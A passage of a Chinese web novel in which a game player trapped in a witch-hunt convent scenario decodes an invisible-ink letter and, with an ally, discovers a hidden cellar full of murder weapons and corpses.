【如果是现实世界还有可能产生变数,但这里是游戏副本。】系统冷酷的声音在脑海中给那位素未谋面的女人下了判断,【她必死无疑。你只是游戏里的过客,自身都难保,不要用自己的命去向一串数据奉献爱心。你明白我的意思吗?】 之芙明白他的意思。 这里不是现实世界,这里是游戏。游戏里不会无来由地出现无辜路人,每个传入玩家耳朵里的消息、走进玩家视线里的角色,都一定有她们的用处和档位。 很显然,那位叫多莉的女人,一定会被诬陷成女巫,也一定会死。 猎巫的人可不会跟你讲道理。按照那些荒唐的审判标准来看的话,这个名头沾之即死,最好的做法就是远离任何可能被指控的人,不让那些人抓到把柄。 可这又谈何容易?就像多莉一样,只要有人看不惯你,就可以举报你,而人总不可能让所有人都满意。 修女低着头搅拌锅里的食物,但无论是她还是之芙,都清晰地听到了周围的人的议论声了。 那些人已经被男人引导,开始怀疑多莉是女巫了。 之芙对系统说:【已经来不及了。】 【什么?】 【我跟艾弗说过同样的话。】之芙说,【我说我无聊的时候也会跟动物说话——虽然那是编的。但无论如何也是个把柄。】 【艾弗不会告诉别人的。】系统说,【如他所说,保持沉默是修士的美德。】 之芙不知道系统为什么如此肯定,但她不可能把自己的命运交由一个陌生人来决定。 之芙问旁边的修女:“你和多莉很熟吗?” 修女点点头又摇摇头:“不算。只是她偶尔会来修道院做义诊……其实她是个好人,这样的人不会被恶魔蛊惑的。” “那你为什么不反驳?” “我……!”修女欲言又止。她顿了顿,连搅拌的动作都放慢了,“我不知道怎么说……保持沉默是女人的美德。” 之芙“啧”了一声,什么美德会让人像兔子一样等死? 她用力地用勺子敲了敲铁锅,发出“哐哐”的声响。围在男人身边的众人不约而同地随着看向她。 之芙用勺子指着那个男人,直言不讳地说:“什么巫女啊,我看你才是巫男吧。” 第163章 《好消息:莉莉丝降临了!》 夕阳下,…… “什么……”男人愣了一下, 面露惊讶。但紧接着他就反应过来,涨红了脸,“你是谁, 你可别凭空污蔑人!” 之芙“呵”了一声:“我是这修道院里的修女,你要在修女面前污蔑人吗?”她用勺子在锅上用力地敲了一下, 像是敲在男人的脑袋上一样, 勺子发出哐哐的令人牙酸的声响,“我看你才是巫男吧,主说沉默才是美德, 只有恶魔才会凭空揣测别人。” “你……” 一旁始终沉默的修女忽然开口, 大声地打断了他:“就、就是!之芙说的对!我看你才是男巫!” 特蕾莎看了之芙一眼,也不紧不慢地出声附和:“我也觉得她们说得对。比起那个多莉, 你才更像是男巫吧?” “那本书我也看过, 里面说‘乱嚼舌根就是被恶魔蛊惑的象征, 这样的人所说的话, 都是恶魔借用他们的嘴说出来的’。哦对了, 我是特蕾莎侯爵夫人的女儿,是来修道院进行新娘修行的。” 人群哗然。对于他们来说,侯爵女儿肯定比一个城里来的新娘的说话分量重得多。 几个女人问特蕾莎:“小姐, 那本书还说了什么?” “嗯……那本书还说了, 为弱者发声的人, 才是主虔诚的信徒。”特蕾莎说着话, 笑着看向之芙。 她随口应付了这些人的问题,没一会儿就露出不耐烦的表情。村民们也怕这位娇小姐生气, 又说了几句就悄悄散去了,此时再看,刚刚那个口出狂言的男人不知何时已经不见踪影了。 “没意思。”特蕾莎随口骂了一句, 把勺子扔在锅里。她对身边的修女说,“你帮我看着一下,我要出去一下。” “特蕾莎小姐?”那个被她指使的修女手足无措,“那个,我们是不可以离开广场的……” 特蕾莎已经指着之芙说:“你跟我来。”说罢,她也不管其他人什么反应,丢下一句“很快回来”就拉着之芙的手往广场外走。 之芙被她拉得踉跄了两步,好容易跟上她,却见她把她拉到了广场背面,停下了脚步。 “怎么了?”之芙四处张望,这里是一栋破房子的背面,似乎是居民区,四周都是一层的破旧小房子,街道上没有人,只有暮光透过旧房的缝隙落在灰扑扑的地面上。 “我有事要跟你说。”特蕾莎像是终于做出了什么决定一样,她皱着眉,轻轻地呼出一口气,认真看向她——她认真的时候,脸上的稚嫩和天真飞速褪去了,只留下水一般沉甸甸的凝重。“你之前不是跟我说,如果遇到什么奇怪的事情,都可以告诉你吗?” “嗯。”之芙记得这句话,当时她说这句话的时候也没报太多指望,没想到特蕾莎会记得这么清楚,“所以你遇到了什么奇怪的事情?” “先说好,我是看在你刚刚给那个女人说话的份上,才告诉你的。我看你人不坏,应该不会到处跟人宣扬吧?”特蕾莎说着,用指尖理了理自己的长卷发,“保持沉默是淑女的美德,我可不想被别人知道我不是淑女。” 之芙点点头:“当然。” “我昨天晚上起夜,在走廊里看到了那个圣物管理员。”特蕾莎说,“我觉得她有点奇怪。” 之芙说:“我也觉得。你说你遇到了她,她怎么奇怪了吗?” “……昨天晚上有点冷,出门的时候我穿着修女服的外袍遮风,结果却看到走廊的尽头有一个黑影一闪而过……” 特蕾莎皱着眉,像是回到了那个漆黑而寒冷的夜晚。 “我觉得奇怪,又不是修女们祈祷的时间,怎么会有人在走廊上鬼鬼祟祟的?我本来想跟上去偷偷看看是什么情况,结果那个人越走越快,好像发现了我,我当时很生气,所以就跑过去想抓住她。” “然后呢?”之芙心说你胆子还挺大,换一个人看到这种事情,说不定尖叫声会把整个修道院都惊动。 “然后她越跑越偏,跑到了教堂的背面,我一直跟着她,却发现她消失了。” “消失了?一个大活人怎么会凭空消失呢?” “不知道。”特蕾莎耸了耸肩。“我在教堂里等了一会儿,她都没有出现。我也找了一圈,都没有看到她的人,可能是躲起来了吧,但我还是觉得很奇怪。不知道是不是我的错觉,我觉得……她好像一直在等我。” “等你?什么意思?” “我昨天晚上穿着修女服,她大概没有看到我的脸。一开始她似乎一直在放慢速度等我跟上她,但我跑起来的时候,她又像是发现了什么一样开始奔跑,我觉得好像是……你说,她会不会是认错了人?” 认错人?特蕾莎的房间就在之芙的对面。如果是黑夜中,看到走廊的最后一间房间走出一个人,确实很容易认错。而且圣物管理员前天似乎就是故意把钥匙留给之芙的,会不会……她觉得之芙昨晚也会出门找线索,所以故意在哪里等她,想要告诉她什么? 这样一来,也可以解释为什么今早吃饭的时候,圣物管理员一直在看她了。 之芙若有所思:“那你是怎么知道那个人是圣物管理员的?你看到她的脸了?” “我回去的时候检查了所有人的房间,只有她的房间里没有人。”特蕾莎干脆利落地说。“肯定是她,其他人都在睡觉呢。” 之芙:“……”幸好她昨晚没有出去找线索,不然特蕾莎肯定不会再相信她了,差点痛失一位靠谱队友,之芙在心里擦了擦额头的汗。 “我知道了。”她说。 “你觉得,那个圣物管理员会不会是……”特蕾莎四处看了一下,确认周围没有人,才小声地说,“……女巫。” “……” “不然她为什么会凭空消失?”特蕾莎问。 之芙倒是有另一个想法。她在脑海中问系统:【一般修道院会有地下室吗?】 【会有的。】系统说,【一般是用于存储食物和修士隐居的房间,偶尔会做监狱使用。】 之芙看向特蕾莎:“ 你说有没有可能,教堂里有地下室?” “不可能。”特蕾莎斩钉截铁地说,“这座修道院是我们家出资翻修的,从来没有听说过有地下室。” “我倒是觉得很有可能。”之芙说着,向着特蕾莎伸出了手,“我只相信自己看到的,不相信别人说的。今晚要跟我去看看吗?” 特蕾莎犹豫了一下,把手搭在了她的手上。 夕阳下,她们的影子重叠在一起。 第164章 《好消息:莉莉丝降临了!》 “你是不…… 傍晚回到修道院之后, 艾弗神父送来了信。特蕾莎拿着她妈妈给她回的信回房间了,艾弗喊住之芙:“这是子爵大人给你的。” 之芙“咦”了一声,接过信封。那是一张看起来昂贵精美的牛皮纸折成的信封, 上面盖着一个火漆章,不过火漆章已经被打开了。 “这是侯爵家的管家检查的。”艾弗显然是想起了早晨的事情, 主动解释说, “我没有看过,您放心。” 奇怪。白飞烟不是子爵吗?理论上来说,白飞烟是主人, 管家应该是伯爵家的奴仆才对, 为什么管家可以检查他的信? 之芙把这一丝的诧异压在心底,向艾弗道谢。 等回了房间, 之芙才把信封拆开。 【亲爱的之芙, 见字如晤。你在修道院一切还好吗?可有不适应的地方?如果有什么需要, 可以告知艾弗神父, 他会向我转达, 而我会为你解决一切。 你离开的日子显得如此漫长,每一分每一秒我都在思念着你,思念着你灵动的眼睛、思念着你嫣红的唇瓣、思念着你……】 【信好像有点不对。】系统忽然出声, 打断了之芙的阅读。 【怎么了?】之芙正在仔细地研究那封信, 想要从里面找出线索来——但无论怎么看, 这似乎都只是一封暧昧而肉麻的情书。 【好像有点奇怪的味道。】系统说。 之芙凑近了闻, 厚实的纸片覆盖着浓郁的墨水味,但仔细分辨时, 又能闻到一丝若有若无的酸味,像是……柠檬? 【柠檬加白砂糖可以制成简单的隐形墨水。】系统说。 【加热就可以显形!】之芙也立刻反应了过来,这是疗养院里上过的课程。【原来课上的内容真的有用啊!】她把信纸对准了烛火, 慢慢靠近,果然,纸张上浮现出黑褐色的字迹。 白飞烟的字迹整齐优美,大约是在安全且无人打扰的时候写下的——看起来他现在还算安全。 【之芙: 长话短说,伯爵家非常奇怪。这几天我在庄园里打探消息,但所知甚少,表面上看起来一起如常,似乎没什么线索,但实际上,我发现这里的人的态度都很奇怪。 他们……如果我的直觉没有出错的话,他们好像在观察我。】 观察……?之芙皱了皱眉。是她想的那个意思吗? 【我很难解释这种直觉的来源……总之,他们似乎知道‘我’不是原来的‘我’,正在想办法试探我对其他人和事物的熟悉。好在有系统在,我暂时还没有露出马脚。但更奇怪的是,他们试探无果后,似乎有一点失望,就好像……他们早已经忍受够了原来那位残疾而喜怒无常的子爵。 我最近也听说了不少外界的流言,传说中伯爵和伯爵夫人对自己这位残疾的独子异常溺爱,包容他所有的情绪和要求,甚至允许他娶一位平民——这在贵族之中几乎是不可能的,可见他们对于这位独子的溺爱。 但实际似乎并不是这样。在相处过程中我故意犯了一个小错,伯爵无法忍耐,竟然直接对我恶语相向,而伯爵夫人和仆人只是冷眼旁观,似乎已经习惯了。 他们总是用一种仇恨的表情看着我残缺的腿。仿佛这双腿对他们是莫大的耻辱,恨不得立刻丢弃。 总之,我认为他们并不爱这个‘我’,所有的一切都是伪装出来的。 但除此之外,我并没有找到其他线索。我查了有关那座修道院的消息,但一切的回复都告诉我,那不过是一栋普通的修道院,伯爵曾资助了它——除此之外,一无所有。 我现在还不知道如果让他们知道我不是原来的‘我’会遇到什么,但可以想见那会非常危险。系统给的背景不能撑太久,我会想办法离开这里,再找找线索。 我的预感告诉我,那栋修道院并不简单,你一定要小心。】 “……” 之芙轻轻呼出一口气,把信纸捏在手里,又仔仔细细地看了几遍。 白飞烟的直觉没有错,修道院并不简单,这里隐藏着许多秘密,这或许也是这个游戏为他设计的难点之一——作为双腿残疾且被伯爵控制的人,如果没有之芙,他该怎么调查修道院的线索? 至于信上所说的,伯爵等人对他的奇怪态度,之芙暂时还没有头绪。她把信上写的内容记在心里,然后把信纸靠近蜡烛。 “噗嗤”一声细响,火苗爬上信纸,转眼就将信上的字迹舔舐得干干净净。 之芙捏着信封的边缘,在火焰燃烧到指尖前放手,任由燃烧殆尽的灰烬坠落—— “咚咚咚。”敲门声突然响起。 之芙骤然回头,却见特蕾莎站在她的门前,视线落在半空中正在坠落的灰烬上,皱着眉,不知看了多久。 【别怕,她是刚刚来的,什么都没有看到。】关键时刻,系统淡定地开口,把她的心脏拉回了肚子里,【你别慌,别让她看出来就行。】 之芙定了定神,开口:“特蕾莎,怎么了?” 特蕾莎却还低着头看向那封信。她皱着眉,一言不发。 “……怎么了?”之芙忽然有些紧张起来,虽然系统应该不会出错,但看特蕾莎的表情……她不会真的看到了什么吧? “这是白飞烟给你寄的信?”半晌,她抬起头来,直勾勾地盯着她,开门见山。 ——她之前还会叫白飞烟‘子爵大人’,现在连这个头衔都不叫了,直呼其名。 “嗯。”之芙观察着她的表情,特蕾莎挑着眉,很不爽的样子。 “你为什么要烧掉他给你的信?”她的问题也是开门见山。 “嗯……”之芙犹豫了一下,确实找不到什么好的借口,只能用之前对付艾弗神父的那个,“太、太肉麻了。我不想被别人看到。” “……”特蕾莎笑了一下。和白天一样,当她这样定定地看着一个人的时候,那双眼睛就褪去了天真和跋扈,像是能看透人心似的。 “你骗我。”她说。 “……”特蕾莎发现了?之芙抿着唇。如果特蕾莎发现了,那她就必须提前告诉她自己发现的线索了……但特蕾莎是侯爵夫人的女儿,血缘关系绝对比这几天的交往要来得深,特蕾莎会相信谁不做他想。 特蕾莎真的是一个可以信任的队友吗?这个NPC……会不会是游戏设计的一个陷阱? 但她还在胡思乱想中,就听到特蕾莎说: “说吧,不要骗我。” “你是不是……被白飞烟强迫的?” 之芙:“……” 之芙:“啊?” 第165章 《好消息:莉莉丝降临了!》 …… “啊?” “我是说, 白飞烟是不是强迫你了。”特蕾莎双手交叉放在胸前,上下打量她的表情和落在地上的黑色灰烬,她的语气有点不耐烦, 但表情却不是这么说的,“你不用害怕, 这件事就算你告到女王陛下那里也是你占理。” “……” “怎么, 觉得这件事很稀罕,说不出口?我告诉你吧,他们这种富家子弟最喜欢做这种事。他们尚且理直气壮, 你为什么要害怕?” “呃, 其实我……”之芙一时语塞。 “其实什么?”特蕾莎抬着下巴,用犀利的眼神直视着她, 仿佛在说‘我已经全部看穿了’。 之芙:“……” “你不用骗我。”特蕾莎又说。“是你说的, 在这个修道院里, 我们要彼此坦诚。” 该怎么解释呢……因为特蕾莎这样说其实倒也不能完全算错, 毕竟她是真的不想嫁给白飞烟来着……而且也找不到更好的借口解释她为什么要烧掉白飞烟的信…… 之芙眼一闭心一横, 心说对不起了白飞烟,但这都是为了你的生命着想,反正离开游戏你的名誉权也毫发无损—— 她脖子一梗, 说:“对。” “我就知道……” “其实我没想过嫁给他。”之芙说, “是他逼我的。” 特蕾莎愣了一下:“怪不得。怪不得他这么热情, 而且总是……粘人又肉麻。”说到这里的时候, 她露出了有点嫌恶的表情。 “所以你怎么想?”特蕾莎抬了抬下巴。“你为什么不喜欢他?” “嗯……”之芙挠了挠脸颊,“我这么说你肯定觉得奇怪, 但是我觉得当一个女工比当子爵夫人好多了。我有钱,又自由,想做什么就可以做什么, 这不比子爵夫人好吗?” “这倒是。”出乎意料的,特蕾莎没有生气,反而肯定了她的想法,“而且我觉得你比白飞烟好多了,你嫁给他真是委屈。” 之芙笑了笑说:“所以我想,如果可以的话……如果能趁着这个机会逃出修道院就好了,去一个没人知道,也没有人能找到的地方。特蕾莎,你会帮我吗?如果你不愿意帮我的话,至少不要把这件事告诉其他人。” “当然。”特蕾莎忽然笑起来,她的表情有点得意,朝着她眨了眨眼,“我会帮你的,这是我们之间的秘密,对吧?” 她朝着之芙伸出手,“走吧,你不是说要去教堂看看吗,我看了时间,还有半个小时就要祷告了。” 白天的时候之芙和跟特蕾莎商量过了,她们要趁着夜深人静的时候,再去教堂看看。 之芙应了一声,披上衣服,拿起烛台,跟特蕾莎一起走出了门。特蕾莎也一只手拿着烛台,另一只手朝她招了招,示意她。 “嗯?”害怕吵醒睡着的修女,之芙的声音压得很低。 特蕾莎瞪了她一眼,没有说话,主动走过来牵起她的手,才用气音说:“牵好了,晚上这么黑,走丢了我可不负责。” 修道院只有一条路通向教堂,还是一条笔直的长廊,没有任何岔路,这也能走丢吗? 在昏暗的烛光中,之芙看了一眼特蕾莎红彤彤的脸颊,贴心地没有拆穿她。 教堂离休息间不远,大约五六分钟后她们就抵达了目的地,特蕾莎用烛台点亮了几根壁挂上的蜡烛,照亮了面前一方狭小的角落。 “喏,就在这里。”她指给之芙看,那是教堂的后门,前方是一排排隐匿在黑暗中的长凳,一侧靠墙,洁白的墙壁上绘着漂亮的花纹,而脚下铺着厚厚的地毯。 “昨天晚上我追到这里的时候被挡在了门后面,只看到她钻进了这一排长凳里,然后就消失不见了。我试着排查过,看过这些长凳,也检查过凳子下面的空隙,但什么都没有。” “有没有可能是她躲在旁边,趁着你检查的时候逃走了?” 特蕾莎又是摇头:“不会的,进来的时候我就把门关上了,本来是想把她堵在里面,结果还是让她跑了。” 之芙又是:“……”特蕾莎的胆子未免也太大了点。 所以问题真的出现在这里。之芙把烛台放在凳子上,半跪着掀开地毯,按照疗养院课程里教过的办法,一寸一寸地摸索木质地板下可能出现的缝隙。 “之芙?” 之芙头也不抬,忽然指尖摁到了一处非常细小的缝隙——夹在两片木头之间。这道缝隙似乎比别的缝隙要更大一点,之芙不太确定地低下头,把耳朵贴到了地板上,用两指敲了敲地板。 “扣扣”——是中空气室发出的特殊声音。 她抬起头,对面露怀疑的特蕾莎说:“这里,是地下室。” …… “嘿——!”之芙和特蕾莎一起把地毯推开,用力把木地板上的缝隙撬了起来。 果然,地面上出现了一个只容一个人通过的小洞,直直往下,却没有梯子。 之芙四处看了看,都没有看到梯子,她拿着烛台放到洞口,往下探了探,烛光却照不亮下方的洞口,比起地下室的入口,这看起来更像是一个陷阱,一个无底洞。 “之芙……”之芙抬起头,烛火不断跳跃着落在她们的脸上,明暗交替间闪烁着不详的火光。特蕾莎似乎终于觉得有些不对劲了,“这里怎么会有地下室?明明母亲说过……” 之芙耸了耸肩:“可能是……嗯,欺上瞒下?你妈妈总不会骗你吧。” 特蕾莎的脸色依然很不好看,不像是被安慰到了。但之芙总不能告诉她这个地下室可能是你妈妈资助修建的吧? 但从她收集到的线索来看,侯爵似乎也不是特别干净。 她把烛台吹熄灭,塞给特蕾莎:“别担心,我下去看看。”说罢,她就蹲下身准备往下跳。 “等……等等!”特蕾莎眼疾手快地拉住她,“我跟你一起去!” “不行,你在外面等我。”之芙很坚定,“马上要到祷告时间了,我们得留一个人在外面望风,不能被堵在在地下室里。如果有什么事你就立刻喊我,知道了吗?” 特蕾莎愣了一下。过了一会儿,她才下定了决定,被之芙说服了:“好,那你快一点,如果遇到危险就喊我,不用担心惊动别人,放心,她们不敢怎么样的。” 之芙朝她笑了笑。她倒也不是因为这个才拒绝特蕾莎的,她就是……有一些不好的预感。如果在地下室里……该怎么跟特蕾莎解释? 之芙点点头,举着烛台,一个深呼吸,跳进了洞里。 第166章 《好消息:莉莉丝降临了!》 “是尸体…… 耳边的风声只呼啸了一瞬间就停住了, 之芙的双脚稳稳地落在了地面上——和她想的一样,这个洞并不深,大约只有两人高, 之芙低声跟头顶的特蕾莎报了平安,借着她的蜡烛点燃了手里的烛台。 蜡烛微弱的光照亮了面前的一方空地, 她身处一个潮湿的地穴, 脚下和身边都是柔软的泥土,看起来并没有经过装饰,像是一个原始人的洞穴似的。 洞穴里没有风声, 火光稳定地随着她的呼吸跳跃, 在昏暗的地面打下一个黑黝黝的、不断前进的剪影。 而前方是一片漆黑,鼻尖萦绕着一股腐臭而潮湿的气味, 让人不由得有些反胃。 之芙定了定神, 举起烛台往前走。片刻后, 脚下的泥土变成了冰冷而坚硬的地板, 眼前豁然开朗, 映入眼帘的是一间宽敞的大厅,冰冷的雪白墙壁在烛火下反射出冷硬的光,更远处, 家具的轮廓隐没在黑暗中, 仿佛潜藏在黑暗中的野兽, 虎视眈眈地盯着面前的闯入者。 之芙皱了皱鼻子——那奇怪的味道越来越大了。潮湿、黏腻, 让人想起小雨后泥泞肮脏的泥土地,但其中又混杂着腥臭的味道, 像湿润的野兽皮毛。 之芙举着烛台,慢慢地往里走。 隐藏在黑暗中的轮廓逐渐浮现,一张长长的方桌, 没有椅子,桌子上散落着凌乱的器具,看起来非常不妙—— 桌子上满是血。大部分已经干涸成了黑褐色,用手指轻轻一捻就碎成了粉末,但整张桌子上布满了这样的血迹,在一些角落甚至积成了指甲盖厚的淤泥。 桌子上散落的东西看起来也很不妙,菜刀、斧头、镰刀和锤子,各种各样的凶器就这样被人随手放在上面,甚至连清洗也没有,锋利的刀锋上也满是血迹。 ……看起来完全就是一个大型的凶案现场。 之芙小心翼翼地拿起角落里的一把刀,藏在了身上准备当做证据保留。更深处似乎还有东西,但蜡烛的光太微弱了看不太清晰。之芙举着蜡烛正要往更深处,忽然听到脑海中系统说:【时间马上要到了,先出去。】 之芙点点头,正准备往外走,忽然听到头顶传来敲钟的声音:“咚——咚咚——” 之芙心里咯噔了一下,是今天的敲钟声变早了吗?!她狂奔到洞口,低声呼唤:“特蕾莎!” “我在,你快上来!”特蕾莎明显也听见了敲钟的声音,她蹲在洞口急切地伸出一只手,想要拉之芙上来,但来不及了,门外响起了清晰的脚步声。 之芙当机立断,一把抓住特蕾莎的手:“先下来躲一躲。” 特蕾莎也听到了脚步声,时间已经来不及说话,她快速地把弄乱的地毯复原,紧接着跳进了洞口,正撞到了之芙的身上。 下一秒,之芙一手抱着她,另一只手把头顶的木板关上—— 最后一丝明亮的月光被关在了木板之外。 黑暗中,之芙和特蕾莎只能听到彼此急促的呼吸声,洞口狭窄,她们挤在一起,彼此的体温透过薄薄的修女服互相传递,像是在传递一份温暖的安慰。 之芙退开一步,拍了拍特蕾莎的后背,低声说:“别怕,他们发现不了我们。” 特蕾莎胡乱地点点头,显然还有些后怕,但在之芙的安抚下也渐渐冷静了下来。 没一会儿,她们的头顶就响起了杂乱的脚步声,像是有许多人在她们的头顶走动。 借着头顶杂乱的声音,特蕾莎压低声音问:“你看过里面了吗?里面是什么?” 之芙犹豫了一下,不知道该不该告诉她。 四周一片黑暗,特蕾莎看不到她的表情,但却从她的沉默里察觉到了什么:“你看到了什么说就是了,我又不会怪你……大不了我自己去看。”说罢,她就从之芙身边走过,试图往更深处走。 之芙拉住了她的手。她拉着特蕾莎走到了更深的地方,才点燃蜡烛。 “噗呲”一声轻响,黑暗中骤然亮起一束火光,照亮了彼此的面庞。昏暗的光线下两张苍白的脸彼此相对,周围的一切都隐没在黑暗中。 之芙把手指比在唇前,做了一个噤声的东西。 “前面是……算了,我说了你肯定不相信。我带你去前面看一看,但是你要做好心理准备,无论看到什么……都不能尖叫,知道了吗?” 特蕾莎满脸狐疑。在之芙郑重其事的表情下,她勉强点了点头:“什么嘛,不要小看我,我见过的东西肯定比你见过的多。说不定只是什么你没见过的宝物……” 之芙朝她轻轻摇了摇头,拉着她的手往前走。 寂静的隧道里,烛火不断地跳跃,拉长了两个牵手的黑影,就在这时,她们的头顶突然传来一阵歌声。 那歌声圣洁、明晰,在教堂里不断回响,天籁般的低语。 “……”之芙握紧了特蕾莎的手。与此同时,她又闻到了那股熟悉的、潮湿的腥臭味。 现在她知道了,那是血的味道。 她举起烛台,让烛光照亮面前的大厅,缓缓地走到特蕾莎的身侧,让她看清楚面前的长桌。 特蕾莎一愣。她似乎也没想到地下室里居然放着这些东西,她紧紧地皱着眉,快步走上前去,挨个翻开长桌上的凶器。同时压低了声音问:“这是什么?为什么这里这么多血?难道他们在这里宰杀牲畜……?” 说到后半句的时候,似乎连她也觉得荒唐,声音渐渐低了下去,继而被头顶圣洁的歌声掩盖。 之芙低声说:“宰杀牲畜应该不需要在这个地方吧……在教堂下面。” 多荒唐,头顶虔诚的修女们正在祈祷,歌声顺着夜风散去,飘得很远很远,又从缝隙里钻到她们脚下,钻到之芙和特蕾莎的耳朵里。 死在这里的人,会不会也是听着这圣洁的歌声死去? 特蕾莎忽然往前走了一步,她伸出手,指尖颤抖着:“你看……那是什么?” “什么?”之芙有些奇怪,她还没看过大厅里面的东西,难道特蕾莎看到了? “……”特蕾莎的脸颊抽搐了一下,仿佛难以理解自己看到的东西。过了一会儿,她放轻了声音,像是害怕惊动什么,轻声说,“是……” “是尸体。好多尸体。” 第167章 《好消息:莉莉丝降临了!》 我一切都…… “……” “……” 她们已经不记得自己是怎么回到房间的了。一路上只有无声的沉默, 没有人说话,甚至连呼吸都放轻了,祈祷已经结束很久了, 但寂静的走廊里似乎还不断回荡着那天真虔诚而圣洁的歌声。 之芙紧紧地握着特蕾莎的手,拢着修女服的衣袍将特蕾莎拉进了自己的房间。 一路走来, 修女们的房间都静悄悄的, 看来她们还没有被发现,这真是不幸中的万幸。 之芙小心地把门关上,特蕾莎这时才像是回过神来一样, 猛地拉住她的手, 压低声音:“之芙,你看到了吧!你看到了吧!那个……那些……那些东西……” 她还记得要压低声音, 但因为恐惧, 她把之芙的手攥得紧紧的, 捏出了红印。之芙没有急着挣脱, 而是拍了拍她的手背, 也压低了声音:“我看到了,那不是幻觉,是真的……存在的东西。” “……”又是一阵沉默。 好半晌, 特蕾莎用颤抖的声音低声说:“没人发现吗?明明就在……就在教堂的下面……” 一墙之隔, 头顶是圣洁的歌声, 脚下的成堆的尸体, 干涸的血液。 艾弗神父知道吗?那些修女知道吗?她们知道就在自己每天都会路过的教堂下面,隐藏着这么一个血腥而又残酷的杀人现场吗? “不管她们知不知道, 圣物管理员一定知道。”之芙拍着她的手背,等她放松下来,才说, “我觉得我们可以相信她。” “相信她?”特蕾莎一脸‘你疯了’的表情,“她知道那个地下室,知道地下室里发生的一切,为什么不说?为什么不告诉女王陛下?为什么不告诉其他人?” 她深呼吸了几口气,然后甩开之芙的手,冲到桌子面前,抖着手展开信纸,连坐下也来不及,抓起羽毛笔就要写信。 “别急……别急……”她像是在对之芙说话,又像是在安慰自己,笔下的字迹也凌乱异常,“我写信给母亲,母亲一定不知道这里的事情,我们等等母亲,她一定会处理好一切的、一定会……” “……”之芙握住她的手。她惶然地抬头,在昏黄的烛火下,她的瞳孔缩成针尖似的大小,正在不断颤动,全然不像她表现出的那么镇定。“你觉得呢?” “……什么?” “你觉得,为什么圣物管理员不告诉别人?” 特蕾莎的苍白的脸抽搐了一下。 说实话,之芙也有点被吓到了——在昏暗而密闭的空间里,无数被开膛破肚的尸骨就那样堆在墙边,一只苍白的断手滚落到她们的脚下,指甲泛着乌黑的青色。而在尸骨下方,一整套圆形的、镌刻在墙壁和地面上的奇怪符号隐没在尸骨的身下……有点奇怪。 但特蕾莎看起来太害怕了,她也没有细看,只顾着去安慰特蕾莎去了。 当时她就意识到了不好——果然,她最不想见到的情况出现了。侯爵夫人是捐赠了王冠的人,还出钱修建了这座修道院,之芙绝对不相信她是真的无辜的。 但特蕾莎——她什么都不知道,她还相信自己的母亲会主持公道。 之芙深深的叹了口气,油然而生一种带孩子的心酸。 她不能让特蕾莎联系她的母亲,这会暴露她们,但她也不能明说,不然特蕾莎不知道会做出什么不说,她还会失去特蕾莎这个队友。 之芙慢慢地对愣在原地的特蕾莎说:“你忘了吗?所有进出来往的信件都要经过艾弗神父的同意。” 特蕾莎呼吸一滞。 “我们现在没有任何与外界联系的方式,有人在这个修道院里修建了地下室,还在里面杀了那么多年轻女性——你觉得,是谁做了这一切? 我不知道那个是谁,但我知道,我们俩如果做出任何异动,都可能也会被那个人盯上。而且,那个人一定在暗处观察着一切。 他控制着修道院,甚至控制着修女们,让那些修女对发生在自己脚下的事情浑然不觉,或是那些修女们也被他买通了,她们知道一切,却故意瞒着我们。她们为什么要瞒着我们?最好的情况是,她们想要掩盖事情的真相,最坏的情况是…… 我曾经问过艾弗神父,问他知不知道那些曾经来进行过新娘修行的女孩子们后来过得怎么样,艾弗神父说,他没有关注过那些女孩,也没有再听到那些女孩们的消息。 所以……你注意到了吗?那个地下室里的尸体,全部都是年轻女性,也就十几二十岁的样子——她们跟我们同龄,甚至她们有可能就曾是来到这座修道院里进行新娘修行的女孩子。 无论是哪种情况,我们现在都很危险。” 特蕾莎沉默了一会儿:“你说得有道理。那你觉得我们应该怎么办?” 之芙这才松了口气。至少现在,特蕾莎还是她的队友。 她对特蕾莎说:“你可以写一封日常的信件,问问你妈妈有没有见过这个修道院有什么奇怪的地方……记住,千万别写得太明显了,会被艾弗神父看出来的。”——也会被侯爵夫人看出来的。 特蕾莎点点头,之芙又说:“我今天去地下室的时候好像看到地下室的墙上写了字,只是没看清楚。明天白天找空我们再去一趟,你快回去睡觉吧,先要装作什么都不知道的样子。” 特蕾莎低头看了看自己手里的信,有点烦躁地把笔扔下了。 她也叹了口气,走出门去,回过头还叮嘱之芙:“我听你的吧,但你也要好好睡觉,有什么事明天起来我们一起商量。” 之芙连连点头。 她送特蕾莎回到了她自己的房间,朝着漆黑的走廊看了一眼。 ……那个圣物管理员,第一天给她留下了保管柜的钥匙,第二天又想带她去地下室,就是不知道今天晚上,她会不会出现。 之芙确认特蕾莎回到了自己的房间,才关上门。 她从包里掏出一颗小小的青桔子——这是今天她在广场上找到的,一个农民想把它扔进锅里,被之芙及时截胡,挽救了一锅炖的口味的同时,也挽救了她寄给白飞烟的信。这东西也不知道是柠檬还是橘子,大约这个世界没有类似的东西吧,不过系统说可以用,就没有问题。 之芙拿出自己从厨房顺出来的一些糖,把果汁挤进了墨水瓶里,然后蘸着酸汁,往纸上写字。 白飞烟: 我一切都好,你不用担心。你的猜测没错,修道院里确实有很多可疑之处…… 第168章 《好消息:莉莉丝降临了!》 “我们私…… 【白飞烟: 我一切都好, 你不用担心。你的猜测没错,修道院里确实有很多可疑之处……我怀疑这一切都跟特蕾莎侯爵和伯爵脱不开干系。】 之芙一边写,一边在心里整理这几天她收集到的线索和证据。 【更准确来说, 我怀疑这一切都侯爵与伯爵对修道院的资助有关。和伯爵家族相反,这里的人看起来没有问题, 我观察过她们, 她们都是很虔诚的信徒。 艾弗神父——你也见过的。目前看来,他似乎也没有问题,但他在修道院里的权限太大了, 我不太相信他真的什么都不知道, 我对他知之甚少,只知道他为修道院工作多年, 人人都说他善良虔诚, 正义勇敢, 你在外面获取消息的渠道比我多, 这个人还需要你来调查。 还有另一个人值得注意, 她是修道院的圣物保管员。艾弗告诉我她曾在修道院里呆了二十多年,是最早的一批修女,在修道院还未被资助的时候就来到这里了。 这个时间点很重要, 我认为她很可能在修道院修缮期间发现了什么, 她知道内情, 甚至想要告诉我什么。】 之芙写到这里, 顿了一下。 她现在还不能确定圣物保管员是哪一头的。昨天晚上她认错人,也有可能是发现之芙在暗地里调查什么, 想要在地下室处理掉她。但不知为何,之芙有一种直觉,对方似乎没有恶意, 否则她不会故意把圣物保管柜的钥匙放在那里,她明明可以直接举报她晚上偷偷潜入圣物保管室…… 之芙心里出现了一个大胆的猜测。会不会……她想要提醒她赶紧离开这个危险的修道院? 【我需要你尽快跟特蕾莎侯爵接触。】之芙写到,【特蕾莎小姐现在算是我的队友,但我觉得她的父母有问题,大约也是线索的一部分,我需要知道更多东西,才能安抚特蕾莎、判断她是否能成为我的队友。 